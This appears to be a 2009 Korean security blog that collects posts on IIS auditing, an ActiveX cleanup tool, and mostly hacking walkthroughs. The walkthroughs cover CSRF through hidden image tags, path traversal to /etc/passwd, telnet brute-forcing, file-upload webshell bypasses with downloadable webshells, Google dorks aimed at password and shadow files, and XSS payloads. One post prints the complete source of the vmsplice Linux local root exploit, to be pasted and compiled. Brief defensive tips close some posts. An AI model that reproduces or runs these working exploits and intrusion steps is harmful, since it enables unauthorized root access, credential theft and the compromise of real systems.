« PREV : 1 : NEXT »

SQL-Injection 취약점에 대해

Posted 2009/09/10 21:35


Write your message and submit

메타베이스는 대부분의 IIS(인터넷 정보 서비스) 구성 값이 저장되는 리포지토리입니다.

한마디로 매우 중요한 환경 설정 값이 되므로, 누군가 이값을 변경할경우 IIS의 구성 값이 변경되는것을 알수 있습니다.

그래서 오늘은 IIS 6.0에서 메타베이스 감사기능을 활성화 시키는 방법을 알아보겠습니다.

 
C:\>iiscnfg.vbs /EnableAudit / /r

위 명령을 실행하면 스크립트 등록이 않됬다는둥 메세지가 나올수 있습니다. 확인 꾹~! 눌려주세요, 그리고 다시 실행

 

또, 개별적으로 필터링을 설정하실때에는 아래 옵션을 사용 하시면 됩니다.

C:\>iiscnfg.vbs /EnableAudit /SmtpSvc/1 /r

 

 

 

물론 윈도우의 감사 기능은 gpedit.msc에서 로컬 보안 설정에 개체 엑세스 감사 기능을 성공과 실패시 체크할수 있도록 활성화 해두셔야 합니다.

 

이제 이벤트로그에서 확인하시면 됩니다. J

Write your message and submit

홈페이지 개발 보안 가이드

Posted 2009/05/21 09:37

Write your message and submit

이것을 어디에 넣을까 하다가 보통 불필요, 악성인 Active X를 지우실거라고 생각들어서 방어 카탈로그에 넣었습니다.

ActiveX는 마이크로 소프트사에서 COM, DCOM 기술에 인터넷 기술을 접목하여 개발한 개념으로 인터넷을 지원하는 프로그램으로, 웹사이트들은 HTML과 스크립트 언어의 한계를 뛰어넘어 사용자에게 다양한 서비스를 제공하기 위해 많은 ActiveX Control 들을 배포하고 있습니다

그런데 각종 인터넷 사이트에서 보안통신, 동영상재생 등을 위해 배포하는 ActiveX* Control 프로그램들이 PC에 한번 설치되면 자동으로 지워지지 않고 제어판에서도 삭제를 지원하지 않고, 몇몇 사이트에서는 Control의 취약점을 이용하거나 악용하여  해킹에 악용될 우려가 있습니다.
이에 일정기간(15, 30, 60일) 이상 사용되지 않고 있는 ActiveX Control을 손쉽게 삭제할 수 있는 보안프로그램 'CleanAX'를 배포합니다.


설치 환경 : 윈도우 XP, Vista

실행 방법 : 기본적으로 "30일 이상 사용되지 않은 ActiveX Control"이 조회하여,  화면 하단의 "삭제" 버튼을 클릭하면 조회된 ActiveX Control을 삭제함 (60일 또는 15일로 기간 변경 가능)

프로그램 제거 방법 : 시작 → 모든 프로그램 → CleanAX의 "Uninstall"

Write your message and submit

Mass SQL Injection 분석

Posted 2009/04/24 09:33

Write your message and submit

참고 자료 및 사이트를 운용하여 제가 제작한 내용입니다.

 

문서 :

CSRF_Basic_by_Certlab[1].pdf


추가 내용을 확인하시려면 문서나 해당 홈페이지를 참고 하세요
J

 

CSRF(Cross-site request forgery) 취약점을 이용한 공격방법

 

CSRF란?

CSRF 는 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정,삭제, 등록등)를 하게하는 공격입니다.

 

CSRF가 성립하려면 수정, 삭제, 등록 하는 액션에서 사용자를 구분하는 파라메터 값이 존재하지 않아야합니다. 특정한 사용자를 구분하는 파라메터가 있다면 하나의 사용자 에게만 적용 되거나 인증에러로공격이 되지 않을 수 있기 때문입니다.

 

따라서 인증을 쿠키 만으로 관리할 때 CSRF 공격이 쉽게 성공 할 수 있습니다.

 

CSRF 준비하기

 

1. Local Proxy Tool

Proxy Tool 을 이용하여 Web 에서의 Request / Response 를 변조 할수 있습니다

Paros 설정 및 사용방법 보려 가기

 

2. XSS가 실행 가능한 사이트

쓰기가능한 게시판을 오픈하여 XSS가 가능한지 간단히 테스트 합니다.

<script> alert('xss test') </script>

 

아래와 같이 정상 Alert 메시지가 표시되면 XSS가 사용가능한 사이트 입니다.


가능성을 확인하였다면 실제 공격용 소스를 만들도록 합니다.

 

CSRF(Cross-site request forgery) 취약점을 이용한 공격하기

 

1. 상품 주문 페이지로 이동합니다.


2. 상품 정보를 모두 입력후 결제하기 버튼을 입력하기전 Paros
Trap탭에서 Trap request와 Trap Response의 체크박스에 체크합니다.


3. 결제하기를 누르면 웹서버에
전송 전에 자동으로 Paros가 그 값을 낙아채며 웹 브라우저는 일시정지같은 상태됩니다. 해당 값 내용중 요청하려뎐 URL을 포함한 경로 와 웹서버에게 보내려던 결과값(빨간 상자의내용)을 따로 저장합니다.

 

4. XSS 가능 개시판에 글을 작성하여 <img width=0 height=0 을 추가하여 3번에서 저장한 URL과 결과값을 조합해 글 내용에 포함후 글을 등록합니다.


<img width=0 height=0는 HTML 코드로 이미지 가로세로 사이즈를 0으로 하여 실제 화면에는 표시되지 않게 됩니다.

 

이제 해당글을 누군가 읽으면… 그 읽은 사람에게 자신의 주문 정보가 들어가게 됩니다.

 

게시판에 글을 등록하는 CSRF를 만들어 등록하여 1000명의 사용자가 읽었다면 문제가 심각할 듯 합니다.

 

 

CSRF 방어대책

 

- 모든 Form/URL 에서 요청을 할때에 임의 토근을 추가하여 요청을 할때에 이 토큰을 검증

- 중요한 페이지는 재인증을 유도

 

Write your message and submit

여기서는 텔넷을 접근하여, cat 명령으로 파일을 만든후 gcc를 통해 컴파일 하여 root 권한을 확득하는 방법을 진행해 보도록 하겠습니다.

그렇다면 텔넷에 일반유저로 접근해야겠지요?

 

텔넷 일반유저이름 알아내기

유저명 알아내기

유저명은 /etc/passwd 에서 확인이 가능한데요 이파일을 볼수 있는 방법은 웹쉘을 통해 볼수 있는 방법과 Filedownload 취약점을 이용하여 URL 강제 접근 방법이 있습니다.

 

여기서는 텔넷을 접근하여, cat 명령으로 파일을 만든후 gcc를 통해 컴파일 하여 root 권한을 확득하는 방법을 진행해 보도록 하겠습니다.

그렇다면 텔넷에 일반유저로 접근해야겠지요?

 

텔넷 일반유저이름 알아내기

유저명 알아내기

유저명은 /etc/passwd 에서 확인이 가능한데요 이파일을 볼수 있는 방법은 웹쉘을 통해 볼수 있는 방법과 Filedownload 취약점을 이용하여 URL 강제 접근 방법이 있습니다.

 

1. 웹쉘을 통한 방법 보려가기

 

2. URL 강제 접속 방법

요즘은 잘 통하지 않는 방법이긴 하나 '../'와 같은 파일명 앞에 상위 디렉토리로 올라가는 문자를 입력해 '../../../../../../etc/passwd'와 같이 시스템의 중요한 파일을 다운로드할 수 있는 취약점을 사용하여 passwd 파일내의 일반 유저명을 알아낼수 있습니다.

 

예1) http://itka.kr/bbs/../../../../../../../etc/passwd

예2) http://itka.kr/bbs/download.jsp?filename=../../../../../../../etc/passwd

 

/sbin/nologin은 로그인이 불가능한 계정이므로 주의

 

*일반 유저명을 알아내지 못했더라도 너무 낙심하지 말아요, 일반적으로 있을법한 아이디를 통해 로그인을 시도하는 Brute attack 기법을 구사하는 툴이 있답니다.

이 다음에는 Brute attack 툴을 가지 공격을 시도해 보는데 아이디를 알면 성공 확률을 많이 높일수 있어서 사전에 아이디 정보를 얻는게 좋습니다

 

텔넷 접근 패스워드 확인하기


위 툴은 Brutus라는 툴로서 대표적인 Brute attack 툴인데요(이외에도 많습니다.) Type을 통해 SSH, Telnet, FTP등 여러 프로토콜을 변경 Userfile에 대입할 유저명(위에서 알아낸 유저명을 입력합니다.)과 PassFile에 대입할 단어사전을 선택후 Target 지정후 Start를 누르면 ID와 Passward를 무차별 대입하여 성공한 결과를 Positive Authentication Results 에 보여주게 됩니다.

Test 계정의 패스워드 획득하여 로그인 하는데 성공하셨다면 텔넷툴을 이용하여 접속합니다.

이제부터 본격적인 시작이네요

 

Telnet 접근후 Root 권한 획득하기

 

1. 들어가면 whoami 명령을 통해 누가있는지 확인합니다. (관리자가 로그인 하고 있다면 성공할 확률이 줄어들겠죠?)


2. 아무도 없는 것을 확인하였다면 cat > hack.c 명령을 통해 입력을 파일로 변환 합니다.

3. 이제 리눅스 커널 2.6.17 – 2.6.24.1 권한 상승 취약점을 C언어로 만들어 놓은 파일을 사용하겟습니다 (c언어 파일을 생성하시면되는데 직접 입력하시려면 힘듭니다.)

http://www.milw0rm.com/exploits/5092

전체를 선택한 후 복사를 하여 Telnet에 붙여넣기를 합니다.

 

붙여넣을 내용

/*

* jessica_biel_naked_in_my_bed.c

*

* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.

* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.

* Stejnak je to stare jak cyp a aj jakesyk rozbite.

*

* Linux vmsplice Local Root Exploit

* By qaaz

*

* Linux 2.6.17 - 2.6.24.1

*

* This is quite old code and I had to rewrite it to even compile.

* It should work well, but I don't remeber original intent of all

* the code, so I'm not 100% sure about it. You've been warned ;)

*

* -static -Wno-format

*/

#define _GNU_SOURCE

#include <stdio.h>

#include <errno.h>

#include <stdlib.h>

#include <string.h>

#include <malloc.h>

#include <limits.h>

#include <signal.h>

#include <unistd.h>

#include <sys/uio.h>

#include <sys/mman.h>

#include <asm/page.h>

#define __KERNEL__

#include <asm/unistd.h>

   

#define PIPE_BUFFERS    16

#define PG_compound    14

#define uint        unsigned int

#define static_inline    static inline __attribute__((always_inline))

#define STACK(x)    (x + sizeof(x) - 40)

   

struct page {

    unsigned long flags;

    int count;

    int mapcount;

    unsigned long private;

    void *mapping;

    unsigned long index;

    struct { long next, prev; } lru;

};

   

void    exit_code();

char    exit_stack[1024 * 1024];

   

void    die(char *msg, int err)

{

    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));

    fflush(stdout);

    fflush(stderr);

    exit(1);

}

   

#if defined (__i386__)

   

#ifndef __NR_vmsplice

#define __NR_vmsplice    316

#endif

   

#define USER_CS        0x73

#define USER_SS        0x7b

#define USER_FL        0x246

   

static_inline

void    exit_kernel()

{

    __asm__ __volatile__ (

    "movl %0, 0x10(%%esp) ;"

    "movl %1, 0x0c(%%esp) ;"

    "movl %2, 0x08(%%esp) ;"

    "movl %3, 0x04(%%esp) ;"

    "movl %4, 0x00(%%esp) ;"

    "iret"

    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),

     "i" (USER_CS), "r" (exit_code)

    );

}

   

static_inline

void *    get_current()

{

    unsigned long curr;

    __asm__ __volatile__ (

    "movl %%esp, %%eax ;"

    "andl %1, %%eax ;"

    "movl (%%eax), %0"

    : "=r" (curr)

    : "i" (~8191)

    );

    return (void *) curr;

}

   

#elif defined (__x86_64__)

   

#ifndef __NR_vmsplice

#define __NR_vmsplice    278

#endif

   

#define USER_CS        0x23

#define USER_SS        0x2b

#define USER_FL        0x246

   

static_inline

void    exit_kernel()

{

    __asm__ __volatile__ (

    "swapgs ;"

    "movq %0, 0x20(%%rsp) ;"

    "movq %1, 0x18(%%rsp) ;"

    "movq %2, 0x10(%%rsp) ;"

    "movq %3, 0x08(%%rsp) ;"

    "movq %4, 0x00(%%rsp) ;"

    "iretq"

    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),

     "i" (USER_CS), "r" (exit_code)

    );

}

   

static_inline

void *    get_current()

{

    unsigned long curr;

    __asm__ __volatile__ (

    "movq %%gs:(0), %0"

    : "=r" (curr)

    );

    return (void *) curr;

}

   

#else

#error "unsupported arch"

#endif

   

#if defined (_syscall4)

#define __NR__vmsplice    __NR_vmsplice

_syscall4(

    long, _vmsplice,

    int, fd,

    struct iovec *, iov,

    unsigned long, nr_segs,

    unsigned int, flags)

   

#else

#define _vmsplice(fd,io,nr,fl)    syscall(__NR_vmsplice, (fd), (io), (nr), (fl))

#endif

   

static uint uid, gid;

   

void    kernel_code()

{

    int    i;

    uint    *p = get_current();

   

    for (i = 0; i < 1024-13; i++) {

        if (p[0] == uid && p[1] == uid &&

         p[2] == uid && p[3] == uid &&

         p[4] == gid && p[5] == gid &&

         p[6] == gid && p[7] == gid) {

            p[0] = p[1] = p[2] = p[3] = 0;

            p[4] = p[5] = p[6] = p[7] = 0;

            p = (uint *) ((char *)(p + 8) + sizeof(void *));

            p[0] = p[1] = p[2] = ~0;

            break;

        }

        p++;

    }    

   

    exit_kernel();

}

   

void    exit_code()

{

    if (getuid() != 0)

        die("wtf", 0);

   

    printf("[+] root\n");

    putenv("HISTFILE=/dev/null");

    execl("/bin/bash", "bash", "-i", NULL);

    die("/bin/bash", errno);

}

   

int    main(int argc, char *argv[])

{

    int        pi[2];

    size_t        map_size;

    char *        map_addr;

    struct iovec    iov;

    struct page *    pages[5];

   

    uid = getuid();

    gid = getgid();

    setresuid(uid, uid, uid);

    setresgid(gid, gid, gid);

   

    printf("-----------------------------------\n");

    printf(" Linux vmsplice Local Root Exploit\n");

    printf(" By qaaz\n");

    printf("-----------------------------------\n");

   

    if (!uid || !gid)

        die("!@#$", 0);

   

    /*****/

    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};

    pages[1] = pages[0] + 1;

   

    map_size = PAGE_SIZE;

    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,

     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (map_addr == MAP_FAILED)

        die("mmap", errno);

   

    memset(map_addr, 0, map_size);

    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

    printf("[+] page: 0x%lx\n", pages[0]);

    printf("[+] page: 0x%lx\n", pages[1]);

   

    pages[0]->flags = 1 << PG_compound;

    pages[0]->private = (unsigned long) pages[0];

    pages[0]->count = 1;

    pages[1]->lru.next = (long) kernel_code;

   

    /*****/

    pages[2] = *(void **) pages[0];

    pages[3] = pages[2] + 1;

   

    map_size = PAGE_SIZE;

    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,

     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (map_addr == MAP_FAILED)

        die("mmap", errno);

   

    memset(map_addr, 0, map_size);

    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

    printf("[+] page: 0x%lx\n", pages[2]);

    printf("[+] page: 0x%lx\n", pages[3]);

   

    pages[2]->flags = 1 << PG_compound;

    pages[2]->private = (unsigned long) pages[2];

    pages[2]->count = 1;

    pages[3]->lru.next = (long) kernel_code;

   

    /*****/

    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};

    map_size = PAGE_SIZE;

    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,

     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (map_addr == MAP_FAILED)

        die("mmap", errno);

    memset(map_addr, 0, map_size);

    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

    printf("[+] page: 0x%lx\n", pages[4]);

   

    /*****/

    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;

    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,

     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (map_addr == MAP_FAILED)

        die("mmap", errno);

   

    memset(map_addr, 0, map_size);

    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

   

    /*****/

    map_size -= 2 * PAGE_SIZE;

    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)

        die("munmap", errno);

   

    /*****/

    if (pipe(pi) < 0) die("pipe", errno);

    close(pi[0]);

   

    iov.iov_base = map_addr;

    iov.iov_len = ULONG_MAX;

   

    signal(SIGPIPE, exit_code);

    _vmsplice(pi[1], &iov, 1, 0);

    die("vmsplice", errno);

    return 0;

}

   

// milw0rm.com [2008-02-09]

   

   

telnet에 붙여넣기를 함


4. gcc를 이용해 컴파일 합니다.

Gcc -o <input> <output>

   

   

5. ./hack을 실행합니다.

   

6. whoami를 통해 확인해 보시면 root로 권한이 바뀐 것을 확인하실수 있습니다.

짝짝짝 수고하셨습니다^^

   

방어방법?!

URL 강제 접근을 허용하면 않됩니다. 또 Telnet과 서비스를 사용하지 않고 불필요한 계정은 삭제, 암호 정책을 강화 해야하며, 감지 정책을 설정하면 3회 이상 패스워드 오류시 30분간 계정 잠금(NT : gpedit.msc)정책등을 설정하여 방어하시는게 좋을 것 같습니다

  1. BlogIcon 라엘

    | 2010/04/19 09:02 | PERMALINK | EDIT | REPLY |

    방어방법은

    1) 웹쉘방지와
    2) 비밀번호 8자리 이상 (brutuforce로 뚫리는 비번이라면 심각)
    3) 리눅스커널패치 2.6.17-2.6.24.1 버전의 커널은 반드시 패치

    하면 됩니다.
    어느 하나라도 해당 조건이 된다면 위의 공격은 이루어지지 않습니다.

  2. BlogIcon 올엠

    | 2010/07/09 09:53 | PERMALINK | EDIT | REPLY |

    네 좋은 방안 이네요 ^^

Write your message and submit

Web Hacking Basic

Posted 2009/04/21 11:23

Write your message and submit

파일 업로드 취약점 이용하여 웹셀을 삽입해, 제어권을 가져오는 방법에 대해 소개 하겠습니다.

 

Fileupload 취약점 이용하여 공격하기 (Webshell)

 

1. 일반 계저정으로 로그인후 게시판에 접근합니다.

 

2. 홈페이지 게시판에 웹셀을 업로드하여 삽입합니다.

서버측에서 방어를 위해 확장자 검증을 한다면, 우회하여 업로드 하도록 합니다.

     *웹서버는 확장자별 실행유무를 주기 때문에 php, asp와 같은 웹 서버용 파일은 업로드를 Java를 통해 막고 있습니다.

로컬 프록시를 통해 php, asp와 같은 웹 서버용 파일 업로드 우회하기
paros를 통해 확장자를 기존 txt라고 하여 업로드할때 response 체크로 보내는 데이터를 잡습니다.
 그리고 실제 서버측에 보낼때에는 확장자를 잡은 데이터를 php로 다시 send를 눌려 업로드 합니다.

  *자바 스크립트나 입력값 제한으로는 클라이언트 검사이기 때문에 로컬프록시로 우회가 가능합니다.

 

3. 웹셀을 실행해여 서버의 중요 파일 및 권한을 획득하면 됩니다.


Fileupload 취약점 방어하기 (Webshell)

1. 게시판에 자바 스크립트를 실행할수 없도록 합니다. (스크립트 태그를 단순 문자로 인식하도록 구성)

2. 파일 업로드 종류를 제한하고 제한 검사를 클라이언트가 아닌 서버에서 하도록 합니다.

문서 :

웹셀의_현황_및_분석.pdf

웹쉘 프로그램

Cod3rZshell (PHP 웹쉘) 소스보기->

cod3rzshell.zip


r57shell 1.24 (PHP 웹쉘) 소스보기->

r57shell.zip


Write your message and submit




Write your message and submit

Googledork

Posted 2009/04/20 15:28

 

 

구글 해킹시 사용해볼 만한 검색 단어

"Index of /admin"
"Index of /password"
"Index of /mail"
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
inurl:passwd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."
inurl:home
inurl:html
inurl:new
inurl:search
inurl:web
inurl:mail
inurl:list
inurl:info
inurl:data
inurl:software
inurl:inc
inurl:support
inurl:order
inurl:forum
inurl:asp
inurl:download
inurl:public
inurl:buy
inurl:user
inurl:file
inurl:pages
inurl:shop
inurl:cgi
inurl:access
top secret site:mil
confidential site:mil
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
"index of /private" site:mil
"index of /private" -site:net -site:com -site:org
filetype:HTML HTML
filetype:HTM HTM
filetype:ASP ASP
filetype:PHP PHP
filetype:SHTML SHTML
filetype:PDF PDF
filetype:CFM CFM
filetype:CGI CGI
filetype:PHP3 PHP3
filetype:JSP JSP
filetype:SWF SWF
filetype:PL PL
filetype:ASPX ASPX
filetype:PHTML PHTML
filetype:TXT TXT
filetype:DOC DOC
filetype:PS PS
filetype:MV MV
filetype:FCGI FCGI
filetype:STM STM
filetype:BML BML
filetype:JHTML JHTML
filetype:DLL DLL
filetype:XLS XLS
filetype:PPT PPT
filetype:PHP4 PHP4
filetype:DIFF DIFF

Write your message and submit

참고 자료 및 사이트를 운용하여 제가 제작한 내용입니다.

사이트 :http://www.nshc.net

추가 내용을 확인하시려면 문서나 해당 홈페이지를 참고 하세요 J

 XSS 취약점을 이용해 공격하는 기법으로 스크립트를 삽입하여 사용자의 쿠키값(개인정보)을 빼오거나 사용자가 원하지 않는 사이트로 이동 및 백도어 설치가 가능합니다.

 

[공격방법]

스크립트 실행 가능 게시판을 검출함

*주의
    자바 스크립트등으로 POST시 클라이언트에서 스크립트 검출 할 경우 paros등  로컬 프록시를 이용하여 우회가능

 

<iframe width="700" height="1000" src="http://itka.kr/hack.gif"></iframe>

제목에 다른 웹 이미지 표현하여 가로=700, 세로1000이라는로 표시하여 다른 게시글이 보이지 않게 함

 

<META http-equiv="refresh" content="3;url=http://itka.kr">

3초후 입력된 새로운 사이트로 이동


위 공격 방법은 테스트를 위해 공격 코드를 넣지 않았을뿐 입니다.
스크립트를 통해 백도어 및 세션 하이잭킹등이 가능합니다.

 

Write your message and submit